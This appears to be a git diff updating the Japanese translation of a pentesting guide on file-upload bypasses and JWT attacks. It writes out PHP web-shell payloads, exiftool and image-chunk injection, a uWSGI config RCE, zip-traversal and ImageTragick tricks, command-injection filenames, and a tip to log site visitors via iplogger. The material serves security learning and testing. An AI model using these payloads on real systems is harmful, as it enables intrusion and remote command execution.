1. Content-Type **ワードリスト**[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **ワードリスト**[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**を追加します_file_コマンドを混乱させます。または、**メタデータ**内にシェルを挿入します:\ * **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**を追加します_file_コマンドを混乱させます。または、**メタデータ**内にシェルを挿入します:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\`または、画像内にペイロードを**直接挿入**することもできます:\ `\` または、画像内にペイロードを**直接挿入**することもできます:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* **圧縮が画像に追加されている場合**、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。 * **圧縮が画像に追加されている場合**、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) * [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* ウェブページが画像を**リサイズ**している可能性もあります。たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用しています。ただし、**IDATチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。 * ウェブページは、たとえばPHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用して**画像をリサイズ**することもできます。ただし、**IDATチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) * [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* 画像のリサイズを**生き残る**ペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。 * 画像のリサイズに耐えるペイロードを作成するための別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) * [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### その他のチェックするトリック ### その他のチェックするトリック
* すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。 * アップロード済みのファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
* **ローカルファイルインクルージョン**脆弱性を見つけてバックドアを実行します。 * **ローカルファイルインクルージョン**脆弱性を見つけてバックドアを実行します。
* **情報漏洩の可能性** * **情報漏洩の可能性**
1. **同じファイル**を**同時に**何度もアップロードします。 1. **同じファイル**を**同時に**何度もアップロードします。
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。 2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。
3. **「.」、「..」、または「…」を名前に持つファイル**をアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。 3. **「.」、「..」、または「…」を名前に持つファイル**をアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
4. **NTFS**で簡単に削除できないファイルをアップロードします(例:「…:.jpg」。(Windows) 4. **NTFS**で簡単に削除できないファイル(例:「…:.jpg」をアップロードします。Windows
5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows) 5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。Windows
6. **予約された****禁止された****名前**CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9使用してファイルを**Windows**にアップロードします。 6. **予約された****禁止された****名前**CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9持つファイルを**Windows**にアップロードします。
* **実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**ることも試みてください。 * **実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることも試みてください。
### 特殊な拡張子のトリック ### 特殊な拡張子のトリック
**PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\ **PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
**ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 **ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できますPHPで実行したり、スクリプト内に含めたりすることができます... `.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できますPHPで実行したり、スクリプト内に含めたりすることができます...
`.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、ある時点で誰かが**この拡張子を実行可能にした**可能性があります。 `.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、ある時点で誰かが**この拡張子を実行可能にした**可能性があります。
@ -125,7 +125,7 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新
この脆弱性の詳細な調査については、元の研究を確認してください:[uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 この脆弱性の詳細な調査については、元の研究を確認してください:[uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される`@`演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪用に利用できます。 リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、「exec」スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪用に利用できます。
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です: 以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
```ini ```ini
@ -147,12 +147,12 @@ characters = @(call://uwsgi_func)
``` ```
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要がありますクラッシュ後やサービス拒否攻撃のためにまたはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。 ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要がありますクラッシュ後やサービス拒否攻撃のためにまたはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル画像やPDFなどに挿入でき、潜在的な悪用の範囲をさらに広げることができます。 uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル画像やPDFなどに挿入でき、潜在的な悪用の範囲をさらに広げます。
## **wget File Upload/SSRF Trick** ## **wget File Upload/SSRF Trick**
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\ 場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリストに含まれているかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイルを**"A"\*232+".php"**に**変更**します。 **linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイルを**"A"\*232+".php"**に**名前変更**します。
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -183,7 +183,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
## ファイルアップロードから他の脆弱性へ ## ファイルアップロードから他の脆弱性へ
* **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる * **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる
* **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません * **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません
* **filename**を`<svg onload=alert(document.domain)>`に設定してXSSを達成する * **filename**を`<svg onload=alert(document.domain)>`に設定してXSSを達成する
* **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(他の[コマンドインジェクションのトリックはこちら](../command-injection.md) * **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(他の[コマンドインジェクションのトリックはこちら](../command-injection.md)
@ -191,12 +191,12 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers) * **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) * [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) * [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す * [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す\*\*\*\*
* [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。 * **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
* [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md) * [**XXEとCORS**バイパスをPDF-Adobeアップロードで実行](pdf-upload-xxe-and-cors-bypass.md)
* 特別に作成されたPDFでXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。 * 特別に作成されたPDFでXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認する * \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**アンチウイルス**があるかどうかを確認する
* ファイルをアップロードする際に**サイズ制限**があるかどうかを確認する * ファイルをアップロードする際に**サイズ制限**があるかどうかを確認する
以下は、アップロードによって達成できることのトップ10リストです[こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889) 以下は、アップロードによって達成できることのトップ10リストです[こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
@ -212,7 +212,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
9. **ZIP**: LFI経由のRCE / DoS 9. **ZIP**: LFI経由のRCE / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE 10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp拡張 #### Burp拡張機能
{% embed url="https://github.com/portswigger/upload-scanner" %} {% embed url="https://github.com/portswigger/upload-scanner" %}
@ -239,7 +239,7 @@ tar -cvf test.tar symindex.txt
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。 展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは次のように使用できます: そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは次のように使用できます
```python ```python
# Listing available options # Listing available options
python2 evilarc.py -h python2 evilarc.py -h
@ -266,9 +266,9 @@ zip.close()
create_zip() create_zip()
``` ```
**圧縮を悪用したファイルスプレー** **圧縮を悪用したファイルスプレーイング**
詳細について**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) さらなる詳細は**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するように書かれています。 1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を通じて渡されたコマンドを実行するように書かれています。
@ -279,7 +279,7 @@ $cmd = ($_REQUEST['cmd']);
system($cmd); system($cmd);
}?> }?>
``` ```
2. **ファイルスプレーと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。 2. **ファイルスプレーイングと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
```bash ```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic ## ImageTragic
このコンテンツを画像拡張子でアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)** (元の[エクスプロイト](https://www.exploit-db.com/exploits/39767)) このコンテンツを画像拡張子でアップロードして脆弱性を悪用します**(ImageMagick , 7.0.1-1)**[エクスプロイト](https://www.exploit-db.com/exploits/39767)から)
``` ```
push graphic-context push graphic-context
viewbox 0 0 640 480 viewbox 0 0 640 480
@ -312,11 +312,11 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特
## ポリグロットファイル ## ポリグロットファイル
ポリグロットファイルはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例として、GIFとRARアーカイブの両方として機能するハイブリッドである[Gifar](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。 ポリグロットファイルはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例として、[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマットJS、PHP、Pharファイルによるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。 ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマットJS、PHP、またはPharファイルによるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
適応性があるにもかかわらず、ポリグロットには制限があります。たとえば、ポリグロットがPHARファイルPHp ARchiveとJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分かもしれません。 適応性があるにもかかわらず、ポリグロットには制限があります。たとえば、ポリグロットが同時にPHARファイルPHp ARchiveとJPEGを具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分かもしれません。
詳細情報は: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) 詳細情報は: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -329,9 +329,9 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
あなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 あなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}

View file

@ -10,12 +10,12 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 **ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -26,7 +26,7 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
### **クイックウィン** ### **クイックウィン**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)をモード`All Tests!`で実行し、緑のラインを待ちます。 [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑のラインを待ちます。
```bash ```bash
python3 jwt_tool.py -M at \ python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -50,13 +50,13 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
JWTの署名が検証されているかどうかを確認するには JWTの署名が検証されているかどうかを確認するには
* エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる敏感な情報を確認する必要があります。 * エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる機密情報を確認する必要があります。
* 返されたページの変更も検証を示しています。 * 返されたページの変更も検証を示しています。
* 変更がない場合は検証が行われていないことを示しています;この時にペイロードの主張を改ざんする実験を行います。 * 変更がない場合は検証が行われていないことを示唆しています;この場合、ペイロードの主張を改ざんする実験を行うべきです。
### 起源 ### 起源
トークンがサーバー側で生成されたのか、クライアント側で生成されたのかをプロキシのリクエスト履歴を調べて判断することが重要です。 トークンがサーバー側で生成されたのか、クライアント側で生成されたのかをプロキシのリクエスト履歴を調べて判断することが重要です。
* クライアント側から最初に見られたトークンは、キーがクライアント側のコードに露出している可能性があるため、さらなる調査が必要です。 * クライアント側から最初に見られたトークンは、キーがクライアント側のコードに露出している可能性があるため、さらなる調査が必要です。
* サーバー側から発生したトークンは、安全なプロセスを示しています。 * サーバー側から発生したトークンは、安全なプロセスを示しています。
@ -73,16 +73,16 @@ JWTの署名が検証されているかどうかを確認するには
使用するアルゴリズムを「None」に設定し、署名部分を削除します。 使用するアルゴリズムを「None」に設定し、署名部分を削除します。
Burp拡張機能「JSON Web Token」を使用してこの脆弱性を試し、JWT内の異なる値を変更しますリクエストをリピーターに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます Burp拡張機能「JSON Web Token」を使用してこの脆弱性を試し、JWT内の異なる値を変更しますリクエストをリピーターに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます
### アルゴリズムRS256非対称HS256対称に変更するCVE-2016-5431/CVE-2016-10555 ### アルゴリズムをRS256非対称からHS256対称に変更するCVE-2016-5431/CVE-2016-10555
アルゴリズムHS256は、秘密鍵を使用して各メッセージに署名し、検証します。\ アルゴリズムHS256は、秘密鍵を使用して各メッセージに署名し、検証します。\
アルゴリズムRS256は、プライベートキーを使用してメッセージに署名し、公開鍵を認証に使用します。 アルゴリズムRS256は、プライベートキーを使用してメッセージに署名し、公開鍵を認証に使用します。
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。 アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行してWebサーバーの証明書を取得できます: 次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行して、ウェブサーバーの証明書を取得できます:
```bash ```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -100,7 +100,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
* **「jku」ヘッダーを持つトークンの評価**: * **「jku」ヘッダーを持つトークンの評価**:
* 「jku」主張のURLを確認して、適切なJWKSファイルにリンクしていることを確認します。 * 「jku」主張のURLを確認して、適切なJWKSファイルにリンクしていることを確認します。
* トークンの「jku」値を変更して、制御されたWebサービスに向けることで、トラフィックを観察します。 * トークンの「jku」値を変更して、制御されたWebサービスに向け、トラフィックを観察できるようにします。
* **HTTPインタラクションの監視**: * **HTTPインタラクションの監視**:
